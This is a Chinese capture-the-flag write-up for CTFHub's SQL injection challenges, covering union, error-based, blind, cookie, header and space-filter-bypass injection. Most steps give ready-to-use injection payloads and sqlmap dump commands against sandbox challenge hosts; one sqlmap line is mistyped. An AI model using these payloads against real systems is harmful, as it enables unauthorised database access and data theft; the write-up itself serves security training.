CTFHub-SQL注入-WP

1.整数型注入

1.题目说输入1，先将1输入查看结果

2.接着输入4-1，发现输出的结果为4-1，判定存在整数型注入

3.查询字段数，出现了回显，判断这里的字段数为2

1 order by 2

4.判断注入点在2的位置，也就是data

-1 union select 1,2

5.查询数据库名，得知为sqli

-1 union select 1,database()

6.查询该库下的表名，得知为news、flag

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)

7.查询flag表下的字段

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

8.发现了flag字段，去查询flag字段的内容，最终得到flag

2.字符型注入

1.输入1=2，回显正常

2.输入1’，发现报错，判断为字符型注入

3.第一关已经了解数据库版本，数据库sqli，列数，以及注入点，所以直接爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

4.还是熟悉的news和flag，按照之前的流程继续爆字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

5.回显正常，继续爆字段内容，得到flag

-1' union select 1,(select flag from flag)#

3.报错注入

1.输入1’发现报错的回显，判断为报错注入

2.使用extractvalue()函数进行注入爆库

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

3.发现库名为sqli，继续爆表，发现第一个表名为flag

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

4.继续爆字段名，发现flag字段

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

5.爆字段内容得到flag

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

4.布尔盲注

1.输入1，返回结果为成功

2.输入1’，返回结果为失败，判断为布尔类型，只会返回成功和失败

3.直接使用SQLMap工具进行盲注，结果得出sqli库，其他三个都是系统库

sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" --dbs

4.接着进行爆表，得到flag表和news表

sqlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

5.直接爆flag表的字段内容，得到flag

qlmap -u "http://challenge-58edc2cbdbfb94a0.sandbox.ctfhub.com:10800/?id=1" -T flag columns --dump

5.时间盲注

1.打开又看到跟之前相同的界面

2.根据之前注入的逻辑，直接构造SQLMap的命令进行注入

sqlmap -u "http://challenge-5ef64e08cdb2fa76.sandbox.ctfhub.com:10800/?id=-1" -D sqli -T flag -C flag --dump

3.得到flag

6.MySQL注入

1.这个和之前的不同，要自己去手工注入得到表名和字段名，因为之前已经知道库名了，所以直接注入

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

2.得到表名之后，继续注入获取字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eppymlmhfq'

3.得到字段名之后，查询字段内容得到flag

-1 union select 1,group_concat(itcwfaaoes) from eppymlmhfq

7.cookie注入

1.打开页面，先用SQLMap跑一下

2.爆库名，其他三个是系统库，老样子目标还是sqli

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2

3.爆表名

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2

4.最后爆表内字段的数据

sqlmap -u "http://challenge-a1691f4d202d9668.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T btnogjokyv --columns --dump --level 2

8.UA注入

1.跟之前的cookie很像，接着爆库名

-1 union select 1, database()

2.爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

3.爆字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eovrhvzjra'

4.爆字段内容

-1 union select 1,group_concat(nxqsvjgwpv) from eovrhvzjra

9.Refer注入

Referer:-1 union select 1, database()

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ohixnyyvlj'

4.

-1 union select 1,group_concat(mcwfssybmd) from ohixnyyvlj

10.过滤空格

1.在URL中进行注入，过滤空格的意思就是不能输入空格，所以换成*进行注入

-1/**/union/**/select/**/1,database()

2.爆库之后接着爆表

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

3.爆表之后接着爆字段名

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=%27sqli%27/**/and/**/table_name=%27ojsuqnqjos%27

4.得到字段名之后爆字段内容得到flag

-1/**/union/**/select/**/1,group_concat(ahsxijxrsv)/**/from/**/sqli.ojsuqnqjos

11.综合训练 SQLI-LABS

无靶场，需要自己搭建